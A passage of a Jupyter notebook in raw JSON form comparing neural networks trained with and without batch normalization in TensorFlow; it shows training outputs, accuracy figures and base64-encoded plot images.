zIeadob2VktaHsq6L28zS\n/odoorsGOAfoAWwERnZ1u9oYw5XAGODjuLJHgdKwXQo8ErZHhhh7AsND7N3CvveAsYCAVcDkUP4v\nwMKwPQ1YdhrEPAgYE7bPBD4NsaV73AL6hO1s4N3Q9rSOO7TlHuA/gZWZ8B0PbdkJDGxS1mVxd/kH\n0kkf+g+B1+Je3wfc19Xtakccw2jcKVQDg8L2IKC6ufiI7gD7YaizJa78BuCp+DphuzvRk5Lq6pib\nxP8ScHUmxQ30Bj4gygaQ1nETPaf0BjCR451CWscc2rKTEzuFLos7U4aPWkqnkery7fhzHXuB/LDd\nUryDw3bT8kbHmNlR4DAwIDnNbrtwyXsx0V/NaR93GEapBPYDr5tZJsT9G+Be4Lu4snSPGcCA1ZI2\nKErpA10Yd0qkuXCtMzOTlJb3F0vqA7wA3G1mX4ahUiB94zazY0CRpL7Ai5IubLI/reKW9PfAfjPb\nIGlCc3XSLeY4V5jZbkl/BbwuaUv8zs6OO1OuFNI1ncY+hayy4d/9obyleHeH7abljY6R1B3IA+qS\n1vIEScom6hDKzKw8FKd93A3M7BCwBphEesd9OfATSTuJMipPlPQs6R0zAGa2O/y7H3iRKMN0l8Wd\nKZ1CIik3UtEK4OawfTPRmHtD+bRw18FwovUq3guXo19KGhvuTJjR5JiGc/0jUGFhELKrhDY+DXxi\nZvPidqV73GeFKwQk9SKaR9lCGsdtZveZWYGZDSP6/1lhZjeSxjEDSDpD0pkN28CPgI/pyri7epKl\nEydzriW6e6UGuL+r29OO9v+OKKX4X4jGC39ONC74BrAVWA30j6t/f4i1mnAXQij/2/ClqwF+y/Gn\n2nOA54lSjrwHnHMaxHwF0XjrJqAy/FybAXGPBj4McX8MPBDK0zruuDZP4PhEc1rHTHRH5Mbws7nh\nd1NXxu1pLpxzzsVkyvCRc865BHin4JxzLsY7BeecczHeKTjnnIvxTsE551yMdwoupUkaELJLVkra\nK2l33OseCZ5jiaS/aaXOHZKmn5pWN3v+f5B0frLO71yi/JZUlzYkPQh8ZWZzm5SL6Lv+XbMHngbC\n07vLzewPXd0Wl9n8SsGlJUnnKlqHoYzooaBBkhZJWq9ojYIH4uq+JalIUndJhyTNUbSWwbqQjwZJ\nsyXdHVd/jqI1D6olXRbKz5D0Qnjf5eG9ippp27+FOpskPSJpHNFDefPDFc4wSSMkvRaSpL0p6bxw\n7LOSngzln0qaHMoLJb0fjt8k6Zxkf8YuPXlCPJfOzgdmmFnDwiWlZnYw5H9ZI2m5mVU1OSYP+JOZ\nlUqaB9wKzGnm3DKzSyX9BHiAKDfRncBeM/uZpIuIUl43PkjKJ+oARpmZSeprZockvUrclYKkNcA/\nm1mNpMuJnlD9UTjNEODviFIcrJZ0LlHO/LlmtkxST6Kc+s61mXcKLp3VNHQIwQ2Sfk70vf8+0YIl\nTTuFI2a2KmxvAMa1cO7yuDrDwvYVwCMAZrZR0uZmjjtIlBr6PyS9AqxsWiHkPRoLvKDjGWHj/6/+\nPgyFVUvaRdQ5vA38StJQoNzMtrXQbudOyoePXDr7umFD0gjgl8BEMxsN/JEoJ0xT38ZtH6PlP5z+\nnECdE5jZX4hy1PwBmAK80kw1AQfMrCjuJz51dtOJQDOzZ4Cfhnb9UdKVibbJuXjeKbhMkQv8H1Em\nyUHANa3Ub4//Bq6HaIyf6EqkkZARM9fMVgL/SrRwEKFtZwKY2f8CeyT9NByTFYajGkxV5DyioaSt\nks4xs21m9jjR1cfoJMTnMoAPH7lM8QHRUNEW4H+IfoGfak8ASyVVhfeqIlrlKl4eUB7G/bOI1iSG\nKAvuU5JmEV1BTAOeDHdU9QCeJcqkCVF+/PVAH6DEzL6V9E+SbiDKovs58GAS4nMZwG9Jde4UCRPY\n3c2sPgxX/RcwwqIlEE/Ve/itqy6p/ErBuVOnD/BG6BwE3HYqOwTnOoNfKTjnnIvxiWbnnHMx3ik4\n55yL8U7BOedcjHcKzjnnYrxTcM45F/P/L0/orAvWbJ4AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c1c19b0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(False, 0.01, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "With the number of layers we're using and this small learning rate, using a sigmoid activation function takes a long time to start learning. It eventually starts making progress, but it took over 45 thousand batches just to get over 80% accuracy. Using batch normalization gets to 90% in around one thousand batches. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 1, and reasonable starting weights.**" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1397.55it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:39<00:00, 501.48it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.984399676322937\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9834001660346985\n" ] }, { "data": { "image/png": "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